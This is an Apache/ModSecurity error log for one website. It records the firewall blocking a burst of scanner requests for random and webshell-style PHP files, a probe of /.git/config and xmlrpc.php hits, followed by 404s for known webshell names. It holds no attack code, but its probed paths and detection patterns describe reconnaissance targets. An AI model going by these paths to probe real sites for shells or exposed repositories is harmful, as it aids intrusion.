[Fri Apr 10 17:47:29.329731 2026] [:error] [pid 3934:tid 3952] [client 74.248.114.205:21287] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/image.php"] [unique_id "adjHMYa41m-BS8mg82ds2AAAAM0"]
[Fri Apr 10 17:47:29.853355 2026] [:error] [pid 3934:tid 3948] [client 74.248.114.205:37090] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adjHMYa41m-BS8mg82ds3gAAAMk"]
[Fri Apr 10 17:47:30.370645 2026] [:error] [pid 13100:tid 13128] [client 74.248.114.205:30811] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adjHMlzg-ZkZ0InWIP17oAAAARc"]
[Fri Apr 10 17:47:30.885912 2026] [:error] [pid 3934:tid 3943] [client 74.248.114.205:21303] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adjHMoa41m-BS8mg82ds4gAAAMQ"]
[Fri Apr 10 17:47:31.396674 2026] [:error] [pid 13189:tid 13192] [client 74.248.114.205:59604] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adjHM5AxiJKPums3eBBYFQAAAEA"]
[Fri Apr 10 17:47:31.934247 2026] [:error] [pid 3934:tid 3957] [client 74.248.114.205:26161] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adjHM4a41m-BS8mg82ds5AAAANI"]
[Fri Apr 10 17:47:32.467648 2026] [:error] [pid 13100:tid 13123] [client 74.248.114.205:33048] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adjHNFzg-ZkZ0InWIP17pQAAARI"]
[Fri Apr 10 17:47:32.986003 2026] [:error] [pid 13189:tid 13204] [client 74.248.114.205:50268] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adjHNJAxiJKPums3eBBYZwAAAEw"]
[Fri Apr 10 17:47:33.511385 2026] [:error] [pid 3934:tid 3962] [client 74.248.114.205:41542] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adjHNYa41m-BS8mg82ds6AAAANc"]
[Fri Apr 10 17:47:34.030727 2026] [:error] [pid 13102:tid 13164] [client 74.248.114.205:31976] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adjHNv9xLvjW2guI55ZHuAAAAAQ"]
[Fri Apr 10 17:47:34.537320 2026] [:error] [pid 13101:tid 13143] [client 74.248.114.205:26145] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adjHNt8Ldw85818pj2qMTgAAAIo"]
[Fri Apr 10 17:47:35.056337 2026] [:error] [pid 3934:tid 3957] [client 74.248.114.205:30832] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adjHN4a41m-BS8mg82ds8AAAANI"]
[Fri Apr 10 17:47:35.563358 2026] [:error] [pid 13101:tid 13156] [client 74.248.114.205:57716] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adjHN98Ldw85818pj2qMVAAAAJc"]
[Fri Apr 10 17:47:36.082325 2026] [:error] [pid 13189:tid 13196] [client 74.248.114.205:63050] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adjHOJAxiJKPums3eBBYfwAAAEQ"]
[Fri Apr 10 17:47:36.602836 2026] [:error] [pid 13189:tid 13203] [client 74.248.114.205:4565] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adjHOJAxiJKPums3eBBYhAAAAEs"]
[Fri Apr 10 17:47:37.140176 2026] [:error] [pid 13101:tid 13144] [client 74.248.114.205:63079] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adjHOd8Ldw85818pj2qMegAAAIs"]
[Fri Apr 10 17:47:37.673154 2026] [:error] [pid 13189:tid 13203] [client 74.248.114.205:31949] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adjHOZAxiJKPums3eBBYjAAAAEs"]
[Fri Apr 10 17:47:38.196927 2026] [:error] [pid 3934:tid 3957] [client 74.248.114.205:53212] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "adjHOoa41m-BS8mg82ds-gAAANI"]
[Fri Apr 10 17:47:38.718049 2026] [:error] [pid 3934:tid 3954] [client 74.248.114.205:34775] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "adjHOoa41m-BS8mg82ds_gAAAM8"]
[Fri Apr 10 17:47:39.242084 2026] [:error] [pid 3934:tid 3947] [client 74.248.114.205:44119] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "adjHO4a41m-BS8mg82dtBQAAAMg"]
[Fri Apr 10 17:47:39.744875 2026] [:error] [pid 13189:tid 13200] [client 74.248.114.205:58480] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "adjHO5AxiJKPums3eBBYmgAAAEg"]
[Fri Apr 10 17:47:40.252424 2026] [:error] [pid 3934:tid 3943] [client 74.248.114.205:50661] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adjHPIa41m-BS8mg82dtDAAAAMQ"]
[Fri Apr 10 17:47:40.778611 2026] [:error] [pid 13102:tid 13179] [client 74.248.114.205:44132] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adjHPP9xLvjW2guI55ZH0QAAABM"]
[Fri Apr 10 17:47:41.294700 2026] [:error] [pid 13101:tid 13138] [client 74.248.114.205:45149] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adjHPd8Ldw85818pj2qMggAAAIU"]
[Fri Apr 10 17:47:41.807814 2026] [:error] [pid 13189:tid 13208] [client 74.248.114.205:24248] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adjHPZAxiJKPums3eBBYqQAAAFA"]
[Fri Apr 10 17:47:42.316595 2026] [:error] [pid 13189:tid 13208] [client 74.248.114.205:27704] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adjHPpAxiJKPums3eBBYrwAAAFA"]
[Fri Apr 10 17:47:42.823459 2026] [:error] [pid 13100:tid 13116] [client 74.248.114.205:45150] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adjHPlzg-ZkZ0InWIP17wgAAAQs"]
[Fri Apr 10 17:47:43.332700 2026] [:error] [pid 3934:tid 3939] [client 74.248.114.205:53646] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adjHP4a41m-BS8mg82dtFgAAAMA"]
[Fri Apr 10 17:47:43.837574 2026] [:error] [pid 13100:tid 13119] [client 74.248.114.205:28867] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adjHP1zg-ZkZ0InWIP17xQAAAQ4"]
[Fri Apr 10 17:47:44.343694 2026] [:error] [pid 13102:tid 13182] [client 74.248.114.205:25376] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1aa.php"] [unique_id "adjHQP9xLvjW2guI55ZH2AAAABY"]
[Fri Apr 10 17:47:44.851218 2026] [:error] [pid 13102:tid 13163] [client 74.248.114.205:40184] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1aa.php"] [unique_id "adjHQP9xLvjW2guI55ZH3AAAAAM"]
[Fri Apr 10 17:47:45.368977 2026] [:error] [pid 13102:tid 13167] [client 74.248.114.205:21516] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1aa.php"] [unique_id "adjHQf9xLvjW2guI55ZH3wAAAAc"]
[Fri Apr 10 17:47:45.876582 2026] [:error] [pid 3934:tid 3948] [client 74.248.114.205:44108] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1aa.php"] [unique_id "adjHQYa41m-BS8mg82dtHwAAAMk"]
[Fri Apr 10 17:47:46.385986 2026] [:error] [pid 13100:tid 13109] [client 74.248.114.205:25396] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adjHQlzg-ZkZ0InWIP17ywAAAQQ"]
[Fri Apr 10 17:47:46.893812 2026] [:error] [pid 13100:tid 13113] [client 74.248.114.205:44782] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adjHQlzg-ZkZ0InWIP17zwAAAQg"]
[Fri Apr 10 17:47:47.412530 2026] [:error] [pid 3934:tid 3956] [client 74.248.114.205:34758] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adjHQ4a41m-BS8mg82dtIwAAANE"]
[Fri Apr 10 17:47:47.929358 2026] [:error] [pid 3934:tid 3950] [client 74.248.114.205:25345] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adjHQ4a41m-BS8mg82dtJAAAAMs"]
[Fri Apr 10 17:47:48.444400 2026] [:error] [pid 13102:tid 13168] [client 74.248.114.205:44139] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "adjHRP9xLvjW2guI55ZH6gAAAAg"]
[Fri Apr 10 17:47:48.953522 2026] [:error] [pid 3934:tid 3955] [client 74.248.114.205:36461] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "adjHRIa41m-BS8mg82dtKAAAANA"]
[Fri Apr 10 17:47:49.474864 2026] [:error] [pid 3934:tid 3958] [client 74.248.114.205:33756] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "adjHRYa41m-BS8mg82dtMAAAANM"]
[Fri Apr 10 17:47:49.985084 2026] [:error] [pid 3934:tid 3954] [client 74.248.114.205:40864] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "adjHRYa41m-BS8mg82dtNQAAAM8"]
[Fri Apr 10 17:47:50.505250 2026] [:error] [pid 13100:tid 13116] [client 74.248.114.205:4480] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adjHRlzg-ZkZ0InWIP173QAAAQs"]
[Fri Apr 10 17:47:51.031583 2026] [:error] [pid 3934:tid 3954] [client 74.248.114.205:4515] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adjHR4a41m-BS8mg82dtQAAAAM8"]
[Fri Apr 10 17:47:51.536339 2026] [:error] [pid 3934:tid 3951] [client 74.248.114.205:34780] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adjHR4a41m-BS8mg82dtRAAAAMw"]
[Fri Apr 10 17:47:52.044861 2026] [:error] [pid 3934:tid 3945] [client 74.248.114.205:40850] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adjHSIa41m-BS8mg82dtSQAAAMY"]
[Fri Apr 10 17:47:52.550072 2026] [:error] [pid 13100:tid 13121] [client 74.248.114.205:44747] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adjHSFzg-ZkZ0InWIP174gAAARA"]
[Fri Apr 10 17:47:53.081090 2026] [:error] [pid 13102:tid 13167] [client 74.248.114.205:4496] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adjHSf9xLvjW2guI55ZH9AAAAAc"]
[Fri Apr 10 17:47:53.594688 2026] [:error] [pid 13102:tid 13177] [client 74.248.114.205:4488] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adjHSf9xLvjW2guI55ZH9wAAABE"]
[Fri Apr 10 17:47:54.133900 2026] [:error] [pid 3934:tid 3960] [client 74.248.114.205:27671] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adjHSoa41m-BS8mg82dtTQAAANU"]
[Fri Apr 10 23:42:59.006490 2026] [:error] [pid 13100:tid 13114] [client 34.24.114.196:48712] [client 34.24.114.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adkag1zg-ZkZ0InWIP3UGAAAAQk"]
[Sat Apr 11 01:03:42.113444 2026] [:error] [pid 21706:tid 21718] [client 187.54.20.94:53013] [client 187.54.20.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.54.20.94, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adktbiGQ1M5d8fQSsLF24wAAAAo"]
[Sat Apr 11 01:03:42.118566 2026] [:error] [pid 21706:tid 21718] [client 187.54.20.94:53013] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat Apr 11 01:15:34.238308 2026] [:error] [pid 21569:tid 21662] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Sat Apr 11 01:15:34.411665 2026] [:error] [pid 21569:tid 21674] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Sat Apr 11 01:15:34.586285 2026] [:error] [pid 21569:tid 21655] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Sat Apr 11 01:15:34.763523 2026] [:error] [pid 21569:tid 21654] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Sat Apr 11 01:15:34.940096 2026] [:error] [pid 21569:tid 21651] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sat Apr 11 01:15:35.112413 2026] [:error] [pid 21569:tid 21669] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sat Apr 11 01:15:35.286985 2026] [:error] [pid 21569:tid 21653] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Apr 11 01:15:35.463674 2026] [:error] [pid 21569:tid 21656] [client 84.233.212.69:58362] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
